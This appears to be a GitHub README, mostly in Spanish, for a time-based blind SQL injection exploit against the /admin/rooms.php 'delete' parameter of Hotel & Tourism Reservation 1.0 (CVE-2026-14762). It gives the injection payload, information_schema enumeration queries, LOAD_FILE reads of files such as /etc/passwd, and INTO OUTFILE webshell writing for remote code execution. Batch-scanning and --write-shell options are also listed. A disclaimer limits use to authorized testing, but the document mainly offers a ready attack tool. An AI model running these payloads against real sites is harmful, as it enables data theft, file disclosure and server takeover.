
Multi-threaded time-based blind SQL injection exploit for CVE-2026-14762 targeting Hotel & Tourism Reservation 1.0. Enumerates databases, tables, columns; reads files via LOAD_FILE; writes PHP webshells for RCE. Supports proxy, batch scanning, and interactive SQL shell. Exploit de inyección SQL ciega basada en tiempo multihilo para CVE-2026-14762 dirigido a Hotel & Tourism Reservation 1.0. Enumera bases de datos, tablas y columnas; lee archivos mediante LOAD_FILE; escribe webshells PHP para RCE. Admite proxy, escaneo por lotes y shell SQL interactiva.
Exploit completo, multihebra, de inyección SQL ciega basada en tiempo para CVE‑2026‑14762.
Apunta al endpoint /admin/rooms.php de la aplicación Code‑Projects Hotel & Tourism Reservation (versión 1.0).
Logra enumeración completa de la base de datos, lectura del sistema de archivos (LOAD_FILE) y escritura arbitraria de archivos (INTO OUTFILE / DUMPFILE) – lo que conduce a la ejecución remota de código mediante el despliegue de una webshell.

| Categoría | Capacidad |
|---|---|
| Vulnerabilidad | Inyección SQL ciega basada en tiempo (CWE‑89) |
| Vector de ataque | GET /admin/rooms.php?delete=<payload> |
| Explotación | Inyección condicional de SLEEP() con extracción de caracteres mediante búsqueda binaria |
| Base de datos | Extracción del nombre de la base de datos actual |
| Esquema | Enumeración de tablas y columnas mediante information_schema |
| Volcado de datos | Exportación completa de tablas (JSON) – filas ilimitadas, límite configurable |
| Lectura de archivos | LOAD_FILE() – lee cualquier archivo legible por MySQL (p. ej. /etc/passwd, archivos de configuración) |
| Escritura de archivos | INTO OUTFILE / DUMPFILE – escribe webshell PHP, backdoor o contenido arbitrario |
| Shell interactivo | Shell SQL en vivo (extracción basada en tiempo) para consultas manuales |
| Consulta única | Ejecutar SQL ad‑hoc y recuperar resultados (límite de 512 caracteres) |
| Modo por lotes | Escaneo de múltiples objetivos con grupo de hebras configurable (ThreadPoolExecutor) |
| Soporte de proxy | Proxy HTTP/HTTPS (Burp Suite, mitmproxy, etc.) |
| Registro verboso | Salida coloreada con información de depuración con marca de tiempo |
| Cero dependencias | Solo requests, urllib3 y colorama (opcional) |
requestsurllib3colorama (opcional – para salida de terminal en color)Instale todas las dependencias con:
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
| Argumento | Corto | Tipo | Predeterminado | Descripción |
|---|---|---|---|---|
--target | -t | URL | — | URL de un solo objetivo (p. ej. http://192.168.1.100) |
--target-file | -l | Archivo | — | Archivo que contiene la lista de objetivos (uno por línea) |
--threads | — | Int | 5 | Número de hebras para el escaneo de múltiples objetivos |
--output | -o | Ruta | — | Archivo de salida (JSON para volcados, texto plano para archivos) |
--verbose | -v | Indicador | False | Habilita el registro de depuración verboso |
--proxy | — | URL | — | Proxy HTTP/HTTPS (p. ej. http://127.0.0.1:8080) |
--user-agent | -ua | Cadena | Mozilla/5.0... | Encabezado User-Agent personalizado |
--delay | — | Flotante | 5.0 | Tiempo de espera en segundos para la inyección ciega |
--max-retries | — | Int | 3 | Número máximo de reintentos de solicitud |
El parámetro delete se inyecta con:
150' AND IF(<condición>, SLEEP(<retraso>), 0) AND '1'='1
IF() evalúa la condición; si es verdadera, la base de datos duerme durante segundos. Extracción de caracteres mediante búsqueda binaria
Para cada posición de carácter, una búsqueda binaria en el rango ASCII (32–126) determina el carácter correcto usando comparaciones > y =. Esto reduce las solicitudes de 95 por carácter a ~7–8, haciendo que la extracción sea altamente eficiente. Enumeración de metadatos
Nombre de la base de datos: SELECT DATABASE()
Tablas: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1
Columnas: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<tabla>' LIMIT n,1
Exfiltración de datos
SELECT <col> FROM <tabla> LIMIT fila,1 – extrae fila por fila
Cada celda se extrae carácter por carácter usando la misma técnica de búsqueda binaria
Interacción con el sistema de archivos
Lectura: LOAD_FILE('/ruta/al/archivo') – requiere que secure_file_priv esté vacío o apunte al directorio de destino
Escritura: SELECT '<contenido>' INTO OUTFILE '/ruta/a/shell.php' – requiere privilegio FILE y que secure_file_priv no sea restrictivo
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas, investigación educativa y evaluación de vulnerabilidades. El autor no es responsable de ningún uso indebido, actividad ilegal o daño causado por este software. Solicite siempre permiso explícito por escrito al propietario del sistema antes de realizar pruebas.
--ssl-verify | — | Indicador | False | Habilita la verificación del certificado SSL |
--webroot | — | Ruta | /var/www/html | Raíz web para escrituras de webshell mediante INTO OUTFILE |
--dump-db | — | Indicador | False | Vuelca todas las tablas de la base de datos actual |
--tables | — | Indicador | False | Solo muestra los nombres de todas las tablas |
--dump-table | — | Tabla | — | Vuelca una tabla específica (p. ej. --dump-table users) |
--read | — | Ruta | — | Lee un archivo mediante LOAD_FILE() |
--write-shell | — | Indicador | False | Escribe webshell PHP (shell.php) en la raíz web |
--sql | — | Consulta | — | Ejecuta una única consulta SQL (devuelve máximo 512 caracteres) |
--interactive | -i | Indicador | False | Inicia shell SQL interactivo después de la explotación |